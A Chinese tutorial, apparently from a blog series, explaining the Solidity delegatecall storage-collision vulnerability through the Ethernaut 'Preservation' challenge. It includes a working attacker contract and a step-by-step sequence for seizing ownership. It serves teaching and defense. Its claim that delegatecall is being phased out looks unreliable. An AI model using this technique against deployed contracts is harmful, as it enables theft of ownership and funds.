区块链黑客第五讲:委托调用攻击

本篇文章是call注入攻击的兄弟篇,为啥这么说呢?

因为委托调用攻击核心函数便是 delegatecall()

难度:偏难,但理解了就非常简单

📕1. 开文挑战

  • 这是Ethernaut中的第十六个例子(已修改)
  • 现在把需求交给你 :将合约Preservation的所有权拿到手。
  • 你首先会想到什么?
java 复制代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

在破解之前,我们首先要了解以下函数

📕2.了解delegatecall ()

delegatecall()call()是姊妹函数,它们都是调用函数的底层用法,因此在安全层面上是不严谨的。

🌳官方文档是这么描述这个函数的:

"除了目标地址上的代码在调用合约的上下文中执行以及 msg.sender 和 msg.value 不更改它们的值这一事实之外,与消息调用是相同的。

这意味着合约可以在运行时从不同的地址动态加载代码。存储、当前地址和余额仍然是指调用合约,只有代码是从被调用的地址。"

官方文档写的太抽象,我来举个例子方便大家理解:

java 复制代码
contract Example{

    address public calledContract;
    
    constructor(address _calledContract){
       this.calledContract = _calledContract;
    }
    
    function useDelegatecall(address _change) public {
        calledContract.delegatecall(abi.encodePacked(bytes4(keccak256("changeAddress(address)")),_change))
    }
}


contract CalledContract{
   address public initAddress;
   
   function changeAddress(address _changeAddress){
   		this.initAddress = _changeAddress;
   }
}

🚀解析例子

  • contract Example:主合约

  • contract CalledContract:被调用合约

  • address public calledContract:被调用合约地址

可以看到在函数useDelegatecall中,我们使用了delegatecall()调用了被调用合约的changeAddress()函数,并且传入了参数_change

调用成功后我们查看结果:

被调用合约中的initAddress并未修改成传入的地址参数_change,反而主合约的calledContract变成了_change.

🎹离谱吗

而这正是delegatecall()的安全漏洞:

被调用合约的上下文仍然是主合约的上下文,包括msg.valuemsg.sender 以及 storage。因此当我们以为修改的是合约CalledContract的第一插槽(不了解插槽的去看上一讲)实际上我们修改的是合约Example的第一插槽,即address calledContract

这就是delegatecall()函数真正的妙处,同样也是极大的安全漏洞!


📕研究合约

那么以上的使用方法,如何去破解开头给出的合约呢?

我想聪明的你早就有了一些想法。

💎回到合约

java 复制代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}
  • Preservation:主合约
  • timeZone1Library,timeZone2Library:两个外部调用合约地址,即本例中的LibraryContract
  • setTimeSignature:函数签名,可以通过call或delegatecall等底层方法调用函数。

💎偷天换日

当调用主合约函数setFirstTime时,将会调用外部合约LibraryContractsetTime方法,在该方法中修改了此合约的第一插槽,根据delegatecall()的特性,真正被修改的其实是主合约的第一插槽!,即timeZone1Library.
因此我们可以借助该漏洞替换掉主合约的timeZone1Library或者是timeZone2Library,再一次根据·delegatecall()的特性替换掉主合约的owner.

💎伪造攻击合约

那么被我们替换掉的攻击合约应该是什么样的呢?

为了完美利用delegatecall()的特性,它应该满足一下所有的需求:

  • 存储结构应该与主合约一致
  • 应该拥有与setTime()同名的函数
  • 应该在setiTime()函数中修改第三插槽的内存,也就是主合约中owner所在的存储位置。

因此,这个合约应该长这样:

java 复制代码
// SPDX-License-Identifier: MIT

contract AttackPreservation {

  //必须拥有相同的存储结构!
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  
  
  //同名函数
  function setTime(uint _change) public {
     owner = address(_change);
  }

}

至此,用于替换的攻击合约就已经编写好了。

当调用该攻击合约的setTime()函数之时,我们将合约中owner(第三插槽)替换成了传入的变量。

实际上修改的是主合约的owner变量,因此将调用传入的参数改成自己的钱包地址即可!

💎攻击流程

  1. 伪造用于替换timeZone1Library的攻击合约;
  2. 首次调用setFirstTime()函数,将传入参数设为用于替换的攻击合约的地址;
  3. 第二次调用setFirstTime()函数,将传入参数设为自己的钱包地址;
  4. 完成攻击,将合约拥有者修改成了自己

📕总结

delegatecall()是一种危险性极高的函数调用方式,因此在平时的合约编写中,非必要不要用到该调用方式。

并且随着solidity语言版本的迭代更新,delegatecall()已经被逐步禁用。

不要觉得这些知识学了无用,在今后的学习中,会基于这样的分析模式深入地解决问题!

恭喜你!通过了这一章的学习。

至此你已经初步了解了基于函数特性的技术性安全漏洞。

在接下来的学习中,我会涉及到新型的合约攻击方式,请持续关注我!

🌳参考文献

blog.sigmaprime-delegatecall

SWC-112

How to Secure Your Smart Contracts: 6 Solidity Vulnerabilities and how to avoid them (Part 1)

官方文档-delegatecall

相关推荐
闲人编程3 小时前
Python与区块链:如何用Web3.py与以太坊交互
python·安全·区块链·web3.py·以太坊·codecapsule
小攻城狮长成ing4 小时前
从0开始学区块链第10天—— 写第二个智能合约 FundMe
web3·区块链·智能合约·solidity
野老杂谈4 小时前
【Solidity 从入门到精通】第1章 区块链与智能合约的基本原理
区块链·智能合约
友莘居士4 小时前
八步开启以太坊智能合约开发:环境、编写、测试与部署
智能合约·以太坊
wanhengidc13 小时前
云手机与云服务器之间的关系
服务器·游戏·智能手机·云计算·区块链
leijiwen14 小时前
web3品牌RWA资产自主发行设计方案
web3·区块链
元宇宙时间14 小时前
Nine.fun:连接现实娱乐与Web3经济的全新生态
人工智能·金融·web3·区块链
只会写Bug的程序员14 小时前
【职业方向】2026小目标,从web开发转型web3开发【一】
前端·web3
MicroTech202516 小时前
微算法科技(NASDAQ MLGO):以隐私计算区块链筑牢多方安全计算(MPC)安全防线
科技·安全·区块链